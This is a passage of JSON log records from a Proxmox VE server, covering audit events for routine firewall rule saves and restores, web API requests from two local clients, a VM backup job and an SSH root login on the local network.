{"@timestamp":1781965038635,"@rawstring":"<28>Jun 20 15:17:18 pvedaemon[61149]: VM 877 not running\n\u0000"} {"@timestamp":1781965714289,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:33 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 890"} {"@timestamp":1781966326197,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966326.197:69320): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66546 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966365246,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966365.246:69433): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66642 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964705677,"@rawstring":"node=pve type=EXECVE msg=audit(1781964705.677:62252): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965076251,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781965076.251:64044): fver=0 fp=0 fi=0 fe=0 old_pp=000001f7fdffffff old_pi=0 old_pe=000001f7fdffffff old_pa=0 pp=000001f7fdffffff pi=0 pe=000001f7fdffffff pa=0 frootid=0"} {"@timestamp":1781964158129,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964158.129:59839): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57463 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964375296,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964375.296:60761): table=filter family=7 entries=4 op=xt_replace pid=58338 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965345353,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965345.353:65216): table=filter family=7 entries=4 op=xt_replace pid=62645 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964796704,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:13:15 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1091"} {"@timestamp":1781966375346,"@rawstring":"node=pve type=EXECVE msg=audit(1781966375.346:69468): argc=1 a0=\"date\""} {"@timestamp":1781965038634,"@rawstring":"<27>Jun 20 15:17:18 pvedaemon[61149]: VM 877 qmp command failed - VM 877 not running\n\u0000"} {"@timestamp":1781965714289,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:28:33 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1106"} {"@timestamp":1781966325965,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966325.965:69314): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd0a2755a0 a1=5d0cac5eb310 a2=5d0cac5e4680 a3=5 items=1 ppid=66538 pid=66539 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966365241,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966365.241:69432): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e9350 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66641 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964705670,"@rawstring":"node=pve type=EXECVE msg=audit(1781964705.670:62251): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965076250,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781965076.250:64043): fver=0 fp=0 fi=0 fe=0 old_pp=000001f7fdffffff old_pi=0 old_pe=000001f7fdffffff old_pa=0 pp=000001f7fdffffff pi=0 pe=000001f7fdffffff pa=0 frootid=0"} {"@timestamp":1781964158129,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964158.129:59838): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57463 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964366143,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964366.143:60719): table=filter family=7 entries=4 op=xt_replace pid=58299 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965335200,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965335.200:65174): table=filter family=7 entries=4 op=xt_replace pid=62606 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964795689,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:13:14 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 472"} {"@timestamp":1781966375342,"@rawstring":"node=pve type=EXECVE msg=audit(1781966375.342:69466): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965038634,"@rawstring":"<27>Jun 20 15:17:18 pvedaemon[61149]: VM 877 qmp command failed - VM 877 not running\n\u0000"} {"@timestamp":1781965712759,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:28:31 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 513"} {"@timestamp":1781966321187,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966321.187:69297): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66519 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966365234,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966365.234:69431): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66640 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964705663,"@rawstring":"node=pve type=EXECVE msg=audit(1781964705.663:62250): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965076247,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781965076.247:64041): fver=0 fp=0 fi=0 fe=0 old_pp=000001f7fdffffff old_pi=0 old_pe=000001f7fdffffff old_pa=0 pp=000001f7fdffffff pi=0 pe=000001f7fdffffff pa=0 frootid=0"} {"@timestamp":1781964158122,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964158.122:59836): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57462 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964355685,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964355.685:60677): table=filter family=7 entries=4 op=xt_replace pid=58257 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965326045,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965326.045:65131): table=filter family=7 entries=4 op=xt_replace pid=62566 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964795689,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:13:14 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1096"} {"@timestamp":1781966375335,"@rawstring":"node=pve type=EXECVE msg=audit(1781966375.335:69465): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965038243,"@rawstring":"<30>Jun 20 15:17:18 pvedaemon[61149]: INFO: Starting Backup of VM 877 (qemu)\n\u0000"} {"@timestamp":1781965712759,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:31 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 929"} {"@timestamp":1781966321187,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966321.187:69296): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66519 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966365228,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966365.228:69430): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66639 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964705657,"@rawstring":"node=pve type=EXECVE msg=audit(1781964705.657:62249): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965076246,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781965076.246:64040): fver=0 fp=0 fi=0 fe=0 old_pp=000001f7fdffffff old_pi=0 old_pe=000001f7fdffffff old_pa=0 pp=000001f7fdffffff pi=0 pe=000001f7fdffffff pa=0 frootid=0"} {"@timestamp":1781964158122,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964158.122:59835): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57462 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964345245,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964345.245:60635): table=filter family=7 entries=4 op=xt_replace pid=58217 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965315897,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965315.897:65089): table=filter family=7 entries=4 op=xt_replace pid=62525 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964795689,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:13:14 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 471"} {"@timestamp":1781966375330,"@rawstring":"node=pve type=EXECVE msg=audit(1781966375.330:69464): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965038232,"@rawstring":"<30>Jun 20 15:17:18 pvedaemon[61149]: INFO: starting new backup job: vzdump 877 --remove 0 --notes-template '{{guestname}}' --compress zstd --mode snapshot --storage local --notification-mode notification-system --node pve\n\u0000"} {"@timestamp":1781965712759,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:31 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 506"} {"@timestamp":1781966321178,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966321.178:69294): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66518 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966365222,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966365.222:69429): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66638 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964705651,"@rawstring":"node=pve type=EXECVE msg=audit(1781964705.651:62247): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965075528,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781965075.528:64004): fver=0 fp=0 fi=0 fe=0 old_pp=000001f7fdffffff old_pi=0 old_pe=000001f7fdffffff old_pa=0 pp=000001f7fdffffff pi=0 pe=000001f7fdffffff pa=0 frootid=0"} {"@timestamp":1781964155949,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964155.949:59831): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc7da39f60 a1=5b5ae0d52180 a2=5b5ae0d30680 a3=5 items=1 ppid=57455 pid=57456 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964336019,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964336.019:60590): table=filter family=7 entries=4 op=xt_replace pid=58173 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965305742,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965305.742:65047): table=filter family=7 entries=4 op=xt_replace pid=62486 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964792662,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:13:11 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 468"} {"@timestamp":1781966375325,"@rawstring":"node=pve type=EXECVE msg=audit(1781966375.325:69463): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965038197,"@rawstring":"<30>Jun 20 15:17:18 pvedaemon[1215]: starting task UPID:pve:0000EEDD:00169B5A:6A36A0EE:vzdump:877:root@pam:\n\u0000"} {"@timestamp":1781965712759,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:31 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781966321178,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966321.178:69293): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66518 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966365217,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966365.217:69428): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66637 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964705646,"@rawstring":"node=pve type=EXECVE msg=audit(1781964705.646:62246): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965075525,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781965075.525:64003): fver=0 fp=0 fi=0 fe=0 old_pp=000001f7fdffffff old_pi=0 old_pe=000001f7fdffffff old_pa=0 pp=000001f7fdffffff pi=0 pe=000001f7fdffffff pa=0 frootid=0"} {"@timestamp":1781964155863,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964155.863:59813): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc64084850 a1=60ee18770310 a2=60ee18769680 a3=5 items=1 ppid=57436 pid=57437 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964325852,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964325.852:60548): table=filter family=7 entries=4 op=xt_replace pid=58134 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965295584,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965295.584:65002): table=filter family=7 entries=4 op=xt_replace pid=62442 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964792662,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:13:11 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1096"} {"@timestamp":1781966375319,"@rawstring":"node=pve type=EXECVE msg=audit(1781966375.319:69462): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964796126,"@rawstring":"User child is on pid 60082"} {"@timestamp":1781965711258,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:30 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1106"} {"@timestamp":1781966316171,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966316.171:69291): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66517 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966365208,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966365.208:69427): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66636 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964705640,"@rawstring":"node=pve type=EXECVE msg=audit(1781964705.640:62245): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965075521,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781965075.521:64001): fver=0 fp=0 fi=0 fe=0 old_pp=000001f7fdffffff old_pi=0 old_pe=000001f7fdffffff old_pa=0 pp=000001f7fdffffff pi=0 pe=000001f7fdffffff pa=0 frootid=0"} {"@timestamp":1781964153114,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964153.114:59803): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57426 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964315520,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964315.520:60506): table=filter family=7 entries=4 op=xt_replace pid=58095 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965285405,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965285.405:64960): table=filter family=7 entries=4 op=xt_replace pid=62403 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964792662,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:13:11 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1096"} {"@timestamp":1781966375313,"@rawstring":"node=pve type=EXECVE msg=audit(1781966375.313:69461): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964796097,"@rawstring":"pam_unix(sshd:session): session opened for user root(uid=0) by root(uid=0)"} {"@timestamp":1781965711258,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:28:30 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1106"} {"@timestamp":1781966316171,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966316.171:69290): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66517 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966364156,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966364.156:69426): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73dac90 a1=64f8d7417290 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=66635 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964705634,"@rawstring":"node=pve type=EXECVE msg=audit(1781964705.634:62244): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965075519,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781965075.519:64000): fver=0 fp=0 fi=0 fe=0 old_pp=000001f7fdffffff old_pi=0 old_pe=000001f7fdffffff old_pa=0 pp=000001f7fdffffff pi=0 pe=000001f7fdffffff pa=0 frootid=0"} {"@timestamp":1781964153114,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964153.114:59802): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57426 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964306029,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964306.029:60464): table=filter family=7 entries=4 op=xt_replace pid=58056 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965275254,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965275.254:64918): table=filter family=7 entries=4 op=xt_replace pid=62364 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964792662,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:13:11 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 846"} {"@timestamp":1781966375307,"@rawstring":"node=pve type=EXECVE msg=audit(1781966375.307:69460): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964796096,"@rawstring":"Accepted password for root from 192.168.1.157 port 36212 ssh2"} {"@timestamp":1781965710048,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:29 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 919"} {"@timestamp":1781966316163,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966316.163:69288): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66516 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966364131,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966364.131:69425): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73b4ba0 a1=64f8d73bb6d0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=66634 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964705629,"@rawstring":"node=pve type=EXECVE msg=audit(1781964705.629:62243): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965072982,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781965072.982:63987): fver=0 fp=0 fi=0 fe=0 old_pp=0 old_pi=0 old_pe=0 old_pa=0 pp=00000000000404c7 pi=0 pe=00000000000404c7 pa=0 frootid=0"} {"@timestamp":1781964153105,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964153.105:59800): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57425 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964295858,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964295.858:60422): table=filter family=7 entries=4 op=xt_replace pid=58015 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965266091,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965266.091:64876): table=filter family=7 entries=4 op=xt_replace pid=62325 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964791659,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:13:10 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 467"} {"@timestamp":1781966375302,"@rawstring":"node=pve type=EXECVE msg=audit(1781966375.302:69459): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964786582,"@rawstring":"Connection from 192.168.1.157 port 36212 on 192.168.1.76 port 22 rdomain \"\""} {"@timestamp":1781965710048,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:28:28 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 511"} {"@timestamp":1781966316163,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966316.163:69287): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66516 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966361324,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966361.324:69424): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66631 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964705624,"@rawstring":"node=pve type=EXECVE msg=audit(1781964705.624:62242): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965071861,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781965071.861:63981): fver=0 fp=0 fi=0 fe=0 old_pp=000001f7fdffffff old_pi=0 old_pe=000001f7fdffffff old_pa=0 pp=000001f7fdffffff pi=0 pe=000001f7fdffffff pa=0 frootid=0"} {"@timestamp":1781964153105,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964153.105:59799): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57425 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" 